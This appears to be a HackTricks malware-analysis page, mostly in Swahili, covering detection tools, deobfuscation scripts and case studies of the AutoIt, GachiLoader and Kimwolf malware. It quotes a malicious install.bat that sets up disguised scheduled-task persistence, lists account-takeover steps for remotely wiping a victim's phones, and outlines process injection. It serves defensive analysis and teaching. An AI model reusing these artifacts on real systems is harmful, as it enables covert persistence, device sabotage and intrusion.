Uchanganuzi wa Malware

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Vinjari katalogi kamili ya HackTricks Training kwa ajili ya njia za assessment (ARTA/GRTA/AzRTA) na Linux Hacking Expert (LHE).

Support HackTricks

Forensics CheatSheets

https://www.jaiminton.com/cheatsheet/DFIR/#

Huduma za Mtandaoni

Zana za Antivirus na Utagunduzi za Nje ya Mtandao

Yara

Install

sudo apt-get install -y yara

Andaa sheria

Tumia script hii kupakua na kuunganisha sheria zote za yara malware kutoka github: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9
Unda saraka ya rules na uikimbie. Hii itaunda faili inayoitwa malware_rules.yar ambayo ina sheria zote za yara za malware.

wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py

Scan

yara -w malware_rules.yar image  #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder

YaraGen: Angalia kwa malware na Unda rules

Unaweza kutumia tool YaraGen kutengeneza yara rules kutoka kwa binary. Angalia tutorials hizi: Sehemu ya 1, Sehemu ya 2, Sehemu ya 3

python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m  ../../mals/

ClamAV

Sakinisha

sudo apt-get install -y clamav

Skana

sudo freshclam      #Update rules
clamscan filepath   #Scan 1 file
clamscan folderpath #Scan the whole folder

Capa

Capa hutambua capabilities zenye uwezekano wa kuwa na madhara katika executables: PE, ELF, .NET. Hivyo itapata vitu kama Att&ck tactics, au capabilities zenye shaka kama:

  • check for OutputDebugString error
  • run as a service
  • create process

Iupate katika Github repo.

IOCs

IOC maana yake ni Indicator Of Compromise. IOC ni seti ya conditions that identify software fulani inayoweza kuwa isiyotakiwa au malware iliyothibitishwa. Blue Teams hutumia aina hii ya definition kutafuta aina hii ya malicious files katika systems na networks zao.
Kushiriki definitions hizi ni muhimu sana kwa sababu malware inapogunduliwa kwenye kompyuta na IOC kwa malware hiyo kuundwa, Blue Teams nyingine zinaweza kuitumia kuitambua malware haraka zaidi.

Tool ya kuunda au kurekebisha IOCs ni IOC Editor.
Unaweza kutumia tools kama Redline kutafuta defined IOCs kwenye device.

Loki

Loki ni scanner ya Simple Indicators of Compromise.
Detection inategemea methods nne za detection:

1. File Name IOC
Regex match on full file path/name

2. Yara Rule Check
Yara signature matches on file data and process memory

3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files

4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)

Linux Malware Detect

Linux Malware Detect (LMD) ni scanner ya malware kwa Linux iliyotolewa chini ya leseni ya GNU GPLv2, iliyoundwa kwa kuzingatia vitisho vinavyokabili mazingira ya shared hosted. Hutumia data ya vitisho kutoka kwa network edge intrusion detection systems ili kutoa malware ambayo inatumika kikamilifu katika mashambulizi na hutengeneza signatures kwa ajili ya detection. Zaidi ya hayo, data ya vitisho pia hutokana na user submissions kupitia kipengele cha LMD checkout na rasilimali za malware community.

rkhunter

Tools kama rkhunter zinaweza kutumika kuangalia filesystem kwa ajili ya rootkits zinazowezekana na malware.

sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]

FLOSS

FLOSS ni tool ambayo itajaribu kupata strings zilizofichwa ndani ya executables kwa kutumia mbinu tofauti.

PEpper

PEpper hukagua baadhi ya vitu vya msingi ndani ya executable (binary data, entropy, URLs na IPs, baadhi ya yara rules).

PEstudio

PEstudio ni tool inayoruhusu kupata taarifa za Windows executables kama imports, exports, headers, lakini pia itakagua virus total na kupata potential Att&ck techniques.

Detect It Easy(DiE)

DiE ni tool ya kugundua kama faili limetibiwa kwa encrypted na pia kupata packers.

NeoPI

NeoPI ni Python script inayotumia aina mbalimbali za statistical methods kugundua maudhui obfuscated na encrypted ndani ya faili za text/script. Lengo la NeoPI ni kusaidia katika detection of hidden web shell code.

php-malware-finder

PHP-malware-finder hufanya jitihada zake zote kugundua obfuscated/dodgy code pamoja na faili zinazotumia functions za PHP ambazo mara nyingi hutumiwa kwenye malwares/webshells.

Apple Binary Signatures

Unapokagua baadhi ya malware sample unapaswa kila mara check the signature ya binary kwa kuwa developer aliyeisaini huenda tayari related na malware.

#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"

#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app

#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app

Detection Techniques

File Stacking

Ikiwa unajua kuwa folda fulani iliyo na files za web server ilisasishwa mwisho katika tarehe fulani. Angalia tarehe ambayo files zote katika web server ziliundwa na kurekebishwa na ikiwa tarehe yoyote ni ya kutia shaka, kagua file hiyo.

Baselines

Ikiwa files za folda hazikupaswa kuwa zimebadilishwa, unaweza kuhesabu hash ya original files za folda na kuzilinganisha na zile za sasa. Kila kilichorekebishwa kitakuwa cha kutia shaka.

Statistical Analysis

Wakati taarifa imehifadhiwa katika logs unaweza kuangalia statistics kama ni mara ngapi kila file ya web server ilifikiwa kwa sababu web shell inaweza kuwa moja ya nyingi.


Android in-app native telemetry (no root)

Kwenye Android, unaweza kuinstrument native code ndani ya target app process kwa kupakia kwanza tiny logger library kabla ya nyingine JNI libs kuanza. Hii inakupa early visibility kwenye native behavior bila system-wide hooks au root. Njia maarufu ni SoTap: weka libsotap.so kwa ABI sahihi ndani ya APK na ingiza call ya System.loadLibrary(“sotap”) mapema (kwa mfano, static initializer au Application.onCreate), kisha kukusanya logs kutoka internal/external paths au Logcat fallback.

Tazama ukurasa wa Android native reversing kwa setup details na log paths:

Reversing Native Libraries


Android/JNI native string deobfuscation with angr + Ghidra

Baadhi ya Android malware na apps zilizo na RASP protection huficha JNI method names na signatures kwa kuzi-decoding wakati wa runtime kabla ya kuita RegisterNatives. Frida/ptrace instrumentation ikiuawa na anti-debug, bado unaweza kurecover plaintext offline kwa ku-execute in-binary decoder kwa angr na kisha kusukuma results kurudi ndani ya Ghidra kama comments.

Wazo kuu: chukulia decoder ndani ya .so kama callable function, i-execute kwenye obfuscated byte blobs zilizo katika .rodata, na concretize output bytes hadi kwa kwanza \x00 (C-string terminator). Hakikisha angr na Ghidra zinatumia same image base ili kuepuka address mismatches.

Workflow overview

  • Triage katika Ghidra: tambua decoder na calling convention/arguments zake katika setup ya JNI_OnLoad na RegisterNatives.
  • Run angr (CPython3) ili ku-execute decoder kwa kila target string na dump results.
  • Annotate katika Ghidra: auto-comment decoded strings kwenye kila call site kwa haraka JNI reconstruction.

Ghidra triage (JNI_OnLoad pattern)

  • Apply JNI datatypes kwa JNI_OnLoad ili Ghidra itambue JNINativeMethod structures.
  • Typical JNINativeMethod per Oracle docs:
typedef struct {
char *name;      // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr;     // native implementation address
} JNINativeMethod;
  • Tafuta calls kwa RegisterNatives. Ikiwa library inaunda name/signature kwa local routine (kwa mfano, FUN_00100e10) inayoreference static byte table (kwa mfano, DAT_00100bf4) na kuchukua parameters kama (encoded_ptr, out_buf, length), hiyo ni target bora kwa offline execution.

angr setup (execute the decoder offline)

  • Load the .so kwa same base iliyotumiwa katika Ghidra (example: 0x00100000) na disable auto-loading ya external libs ili state ibaki ndogo.
angr setup and offline decoder execution ```python import angr, json

project = angr.Project( ‘/path/to/libtarget.so’, load_options={‘main_opts’: {‘base_addr’: 0x00100000}}, auto_load_libs=False, )

ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra

def decode_string(enc_addr, length):

fresh blank state per evaluation

st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(b’\x00’, 1)[0].decode(‘utf-8’, errors=‘ignore’)

Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B

print(decode_string(0x00100933, 5))

</details>

- Kwa kiwango kikubwa, tengeneza static map ya call sites hadi arguments za decoder (encoded_ptr, size). Wrappers zinaweza kuficha arguments, kwa hivyo unaweza kuunda mapping hii kwa mkono kutoka Ghidra xrefs ikiwa API recovery ni noisy.

<details>
<summary>Batch decode multiple call sites with angr</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}

decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }

import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)

Weka maelezo kwenye call sites ndani ya Ghidra Chaguo A: Jython-only comment writer (tumia pre-computed JSON)

  • Kwa kuwa angr inahitaji CPython3, weka deobfuscation na annotation vikiwa tofauti. Kwanza endesha script ya angr hapo juu ili kutoa decoded_strings.json. Kisha endesha hii Jython GhidraScript kuandika PRE_COMMENTs kwenye kila call site (na jumuisha jina la function ya caller kwa context):
Ghidra Jython script to annotate decoded JNI strings ```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnit

Ask for the JSON produced by the angr script

f = askFile(‘Select decoded_strings.json’, ‘Load’) mapping = json.load(open(f.absolutePath, ‘r’)) # keys as hex strings

fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()

Replace with your decoder address to locate call-xrefs (optional)

ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)

callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()

Write comments from JSON

for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else ‘%s @ %s’ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(‘[+] Annotated %d call sites’ % len(mapping))

</details>

Option B: Single CPython script via pyhidra/ghidra_bridge
- Alternatively, use pyhidra or ghidra_bridge to drive Ghidra’s API from the same CPython process running angr. This allows calling decode_string() and immediately setting PRE_COMMENTs without an intermediate file. The logic mirrors the Jython script: build callsite→function map via ReferenceManager, decode with angr, and set comments.

Why this works and when to use it
- Offline execution sidesteps RASP/anti-debug: no ptrace, no Frida hooks required to recover strings.
- Keeping Ghidra and angr base_addr aligned (e.g., 0x00100000) ensures that function/data addresses match across tools.
- Repeatable recipe for decoders: treat the transform as a pure function, allocate an output buffer in a fresh state, call it with (encoded_ptr, out_ptr, len), then concretize via state.solver.eval and parse C-strings up to \x00.

Notes and pitfalls
- Respect the target ABI/calling convention. angr.factory.callable picks one based on arch; if arguments look shifted, specify cc explicitly.
- If the decoder expects zeroed output buffers, initialize outbuf with zeros in the state before the call.
- For position-independent Android .so, always supply base_addr so addresses in angr match those seen in Ghidra.
- Use currentProgram.getReferenceManager() to enumerate call-xrefs even if the app wraps the decoder behind thin stubs.

For angr basics, see: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)

---

## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)

Modern malware families heavily abuse Control-Flow Graph (CFG) obfuscation: instead of a direct jump/call they compute the destination at run-time and execute a `jmp rax` or `call rax`.  A small *dispatcher* (typically nine instructions) sets the final target depending on the CPU `ZF`/`CF` flags, completely breaking static CFG recovery.

The technique – showcased by the SLOW#TEMPEST loader – can be defeated with a three-step workflow that only relies on IDAPython and the Unicorn CPU emulator.

### 1. Locate every indirect jump / call
```python
import idautils, idc

for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")

2. Dondoa dispatcher byte-code

import idc

def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s

start = get_dispatcher_start(jmp_ea)
size  = jmp_ea + idc.get_item_size(jmp_ea) - start
code  = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)

3. Igaulate it twice with Unicorn

from unicorn import *
from unicorn.x86_const import *
import struct

def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)

Endesha run(code,0,0) na run(code,1,1) ili kupata malengo ya tawi la false na true.

4. Patch kurudisha jump / call ya moja kwa moja

import struct, ida_bytes

def patch_direct(ea, target, is_call=False):
op   = 0xE8 if is_call else 0xE9           # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))

Baada ya kupach, ilazimishe IDA ifanye upya uchambuzi wa function ili full CFG na output ya Hex-Rays zirudishwe:

import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))

5. Andika lebo indirect API calls

Mara tu unaposhiba lengwa halisi la kila call rax linapojulikana unaweza kumwambia IDA ni nini ili parameter types & variable names zipatikane kiotomatiki:

idc.set_callee_name(call_ea, resolved_addr, 0)  # IDA 8.3+

Manufaa ya vitendo

  • Hurejesha CFG halisi → decompilation huenda kutoka mistari 10 hadi maelfu.
  • Huwezesha string-cross-reference & xrefs, na kufanya ujenzi wa tabia kuwa rahisi sana.
  • Scripts zinaweza kutumika tena: zishushe ndani ya loader yoyote iliyolindwa na ujanja huohuo.

AutoIt-based loaders: .a3x decryption, Task Scheduler masquerade and RAT injection

Muundo huu wa uvamizi huunganisha MSI iliyosainiwa, AutoIt loaders zilizocompile kuwa .a3x, na kazi ya Task Scheduler inayojifanya kama app isiyo na madhara.

MSI → custom actions → AutoIt orchestrator

Mti wa process na commands zilizotekelezwa na MSI custom actions:

  • MsiExec.exe → cmd.exe ili kuendesha install.bat
  • WScript.exe kuonyesha decoy error dialog
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs

install.bat (drops loader, sets persistence, self-cleans):

@echo off
set dr=Music

copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3

cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"

del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"

error.vbs (udanganyifu wa mtumiaji):

MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"

Key artifacts and masquerade:

  • Drops AutoIt3.exe and IoKlTr.au3 to C:\Users\Public\Music
  • Copies schtasks.exe to hwpviewer.exe (masquerades as Hangul Word Processor viewer)
  • Creates a scheduled task “IoKlTr” that runs every 1 minute
  • Startup LNK seen as Smart_Web.lnk; mutex: Global\AB732E15-D8DD-87A1-7464-CE6698819E701
  • Stages modules under %APPDATA%\Google\Browser\ subfolders containing adb or adv and starts them via autoit.vbs/install.bat helpers

Forensic triage tips:

  • schtasks enumeration: schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer"
  • Look for renamed copies of schtasks.exe co-located with Task XML: dir /a "C:\Users\Public\Music\hwpviewer.exe"
  • Common paths: C:\Users\Public\Music\AutoIt3.exe, ...\IoKlTr.au3, Startup Smart_Web.lnk, %APPDATA%\Google\Browser\(adb|adv)*
  • Correlate process creation: AutoIt3.exe spawning legitimate Windows binaries (e.g., cleanmgr.exe, hncfinder.exe)

AutoIt loaders and .a3x payload decryption → injection

  • AutoIt modules are compiled with #AutoIt3Wrapper_Outfile_type=a3x and decrypt embedded payloads before injecting into benign processes.
  • Observed families: QuasarRAT (injected into hncfinder.exe) and RftRAT/RFTServer (injected into cleanmgr.exe), as well as RemcosRAT modules (Remcos\RunBinary.a3x).
  • Decryption pattern: derive an AES key via HMAC, decrypt the embedded blob, then inject the plaintext module.

Generic decryption skeleton (exact HMAC input/algorithm is family-specific):

import hmac, hashlib
from Crypto.Cipher import AES

def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()

def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)

Common injection flow (CreateRemoteThread-style):

  • CreateProcess (suspended) ya host lengwa (kwa mfano, cleanmgr.exe)
  • VirtualAllocEx + WriteProcessMemory na decrypted module/shellcode
  • CreateRemoteThread au QueueUserAPC kutekeleza payload

Hunting ideas

  • AutoIt3.exe ikiwa parented by MsiExec.exe au WScript.exe iki-spawn system utilities
  • Files zenye extensions za .a3x au AutoIt script runners chini ya public/user-writable paths
  • Suspicious scheduled tasks zinazotekeleza AutoIt3.exe au binaries ambazo hazijasainiwa by Microsoft, zikiwa na minute-level triggers

Account-takeover abuse of Android Find My Device (Find Hub)

During the Windows intrusion, operators used stolen Google credentials to repeatedly wipe the victim’s Android devices, suppressing notifications while they expanded access via the victim’s logged-in desktop messenger.

Operator steps (from a logged-in browser session):

  • Review Google Account → Security → Your devices; follow Find My Phone → Find Hub (https://www.google.com/android/find)
  • Select device → re-enter Google password → issue “Erase device” (factory reset); repeat to delay recovery
  • Optional: clear alert e-mails in the linked mailbox (e.g., Naver) to hide security notifications

Tracing heavily obfuscated Node.js loaders

Attackers increasingly bundle JavaScript loaders inside standalone Windows binaries compiled with nexe, so the runtime ships together with the script. The resulting PE often weighs 60–90 MB and executes even if Node.js is not installed. During triage:

  • Use nexe_unpacker to carve the embedded JavaScript out of the PE and feed it to local tooling for static diffing.
  • Expect a disk-based mutex in %TEMP% (GachiLoader drops a random <name>.lock file that expires after ~5 minutes). Copying the file to the sandbox before execution lets you skip redundant stages while still seeing later payloads.

Node.js API tracing to defeat anti-analysis

Check Point’s Nodejs-Tracer hooks core modules inside any Node.js process, lets you spoof anti-VM probes, and preserves every artifact the sample writes. Launch obfuscated scripts through the tracer to keep analyst-controlled instrumentation in the call stack:

node -r .\tracer.js main.js

Key configuration toggles inside tracer.js allow you to:

  • Log filesystem, child-process, and HTTP activity (LOG_HTTP_REQUESTS, SAVE_FILE_WRITES). Every dropped file—such as kidkadi.node—is copied to the working directory before the malware deletes it.
  • Override environment fingerprints by returning realistic RAM/CPU counts, faking tasklist output, and tampering with PowerShell/WMI responses. This bypasses loaders that demand ≥4 GB RAM, ≥2 cores, and scrutinize user names (mashinesssss, wdagutilityaccount, etc.), hostnames (desktop-vrsqlag, server1 …), and process names (vmtoolsd.exe, fiddler.exe, x64dbg.exe, frida-server.exe).
  • Neuter WMI hardware checks like Get-WmiObject Win32_DiskDrive (looking for vmware, kvm, virtio, …), Win32_VideoController (blocking “VirtualBox Graphics Adapter”, “Hyper-V Video”, etc.) and Win32_PortConnector counts. When those probes report “real” hardware, sandboxes no longer hit the infinite loop of benign Invoke-WebRequest calls to linkedin.com, grok.com, whatsapp.com, and similar domains that GachiLoader uses to waste analysis time.

Capturing gated C2 traffic automatically

The tracer’s network hooks reveal multi-layer C2 authentication without reversing the JavaScript obfuscation. In the observed campaign the loader:

  1. POSTs host telemetry to /log on each hard-coded C2.
  2. Issues GET /richfamily/<per-sample key> with X-Secret: gachifamily to retrieve a Base64-encoded payload URL.
  3. Performs a final GET to that URL with a long per-sample X-Secret header; missing it returns 403 Forbidden.

Because the tracer records complete requests (headers, bodies, destinations), you can replay the same traffic to pull payloads, dump Themida/VMProtect shells in memory, and extract Rhadamanthys configuration data at scale.

AdaptixC2: Configuration Extraction and TTPs

See the dedicated page:

Adaptixc2 Config Extraction And Ttps

Kimwolf Android Botnet Tradecraft

APK loader & native ELF execution on TV boxes

  • Malicious APKs such as com.n2.systemservice06* ship a statically linked ARM ELF inside res/raw (e.g. R.raw.libniggakernel). A BOOT_COMPLETED receiver runs at startup, extracts the raw resource to the app sandbox (e.g. /data/data/<pkg>/niggakernel), makes it executable and invokes it with su.
  • Many Android TV boxes/tablets ship pre-rooted images or world-writable su, so the loader reliably boots the ELF with UID 0 even without an exploit chain. Persistence comes “for free” because the receiver relaunches after every reboot or app restart.
  • Reverse engineers hunting for this pattern can diff AndroidManifest.xml for hidden boot receivers plus code that references Resources.openRawResourceFileOutputStreamRuntime.getRuntime().exec("su"). Once the ELF is dropped, triage it as a Linux userland backdoor (Kimwolf is UPX-packed, stripped, statically linked, 32-bit ARM EABI5).

Runtime mutexes & masquerading IOCs

  • Upon start, Kimwolf binds an abstract UNIX domain socket such as @niggaboxv4/@niggaboxv5. Existing sockets force an exit, so the socket name works as both a mutex and a forensic artifact.
  • The process title is overwritten with service-looking names (netd_services, tv_helper, etc.) to blend into Android process listings. Host-based detections can alert on these names combined with the mutex socket.

Stack XOR string decoding with ARM NEON + flare_emu

  • Sensitive strings (C2 domains, resolvers, DoT endpoints) are pushed onto the stack in encrypted 8-byte blocks and decoded in-place via VEOR Qx, Qx, Qy (veorq_s64). Analysts can script flare_emu to catch the decrypted pointer each time the decryptor hands it to the caller:
import flare_emu

eh = flare_emu.EmuHelper()

def hook(eh, addr, argv, _):
if eh.isValidEmuPtr(argv[1]):
print(hex(addr), eh.getEmuString(argv[1]))

eh.iterate(0x8F00, hook)  # sub_8F00 consumes the plaintext R1 argument
  • Kutafuta VEOR Q8, Q8, Q9 / veorq_s64 sequences na ku-emulate ranges zao kunadump kwa wingi kila string iliyodecrypted, ikipita stack-only lifetime ya plaintext.

DNS-over-TLS resolution plus XOR IP derivation

  • All Kimwolf variants resolve C2 domains by speaking DNS-over-TLS (TCP/853) directly with Google (8.8.8.8) or Cloudflare (1.1.1.1), defeating plain DNS logging or hijacking.
  • v4 bots simply use the returned IPv4 A record. v5 bots treat the A record as a 32-bit integer, swap its endianness, XOR it with the constant 0x00ce0491, then flip the endianness back to obtain the real C2 IP. CyberChef recipe: Change IP format → swap endianness per 4-byte chunk → XOR with 00 ce 04 91 → convert back to dotted decimal.

ENS / EtherHiding fallback

  • Later builds add an ENS domain (pawsatyou.eth) whose resolver text key "lol" stores a benign-looking IPv6 (fed0:5dec:...:1be7:8599).
  • The bot grabs the last four bytes (1b e7 85 99), XORs them with 0x93141715, and interprets the result as an IPv4 C2 (136.243.146.140). Updating the ENS text record instantly rotates downstream C2s via the blockchain without touching DNS.

TLS + ECDSA authenticated command channel

  • Traffic is encapsulated in wolfSSL with a custom framed protocol:
struct Header {
Magic    [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
Reserved uint8   // 0x01
MsgType  uint8   // verb
MsgID    uint32
BodyLen  uint32
CRC32    uint32
}
  • Bootstrap: bot hutuma headers mbili tupu za MsgType=0 (register). C2 hujibu kwa MsgType=1 (verify) ikijumuisha random challenge pamoja na saini ya ASN.1 DER ECDSA. Bots huithibitisha dhidi ya embedded SubjectPublicKeyInfo blob; failures humaliza session, hivyo kuzuia hijacked/sinkholed C2 nodes kutask fleet.
  • Baada ya kuthibitishwa, bot hutuma body ya MsgType=0 inayobeba group string iliyofafanuliwa na operator (kwa mfano android-postboot-rt). Ikiwa group imewezeshwa, C2 hujibu kwa MsgType=2 (confirm), baada ya hapo tasking (MsgType 5–12) huanza.
  • Verbs zinazotumika ni pamoja na SOCKS-style TCP/UDP proxying (residential proxy monetization), reverse shell / single command exec, file read/write, na payloads za Mirai-compatible DDoSBody (mpangilio uleule wa AtkType, Duration, Targets[], Flags[]).

Partial-encryption ransomware: lost stream-cipher nonces

Baadhi ya familia za ransomware hu-encrypt files kwa sehemu ili kupata speed, lakini zinapotumia stream cipher kwa kujitegemea kwenye chunks nyingi, kila eneo lililo-encrypted linahitaji nonce/IV yake iliyohifadhiwa. Ikiwa sample inazalisha fresh nonce kwa kila chunk na ku-overwrite buffer ileile ya bytes 12 ndani ya loop, kisha ina-appenda tu value ya mwisho kwenye disk, basi chunks za awali huwa cryptographically unrecoverable hata kama attacker baadaye atashiriki key.

Typical broken pattern:

for (i = 0; i < 4; i++) {
randombytes_buf(nonce, 12);                // same buffer reused each round
crypto_stream_chacha20_ietf_xor(chunk, chunk, len, nonce, key);
}
write(fd, nonce, 12);                          // only the last nonce survives

Marejeo

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Vinjari katalogi kamili ya HackTricks Training kwa ajili ya njia za assessment (ARTA/GRTA/AzRTA) na Linux Hacking Expert (LHE).

Support HackTricks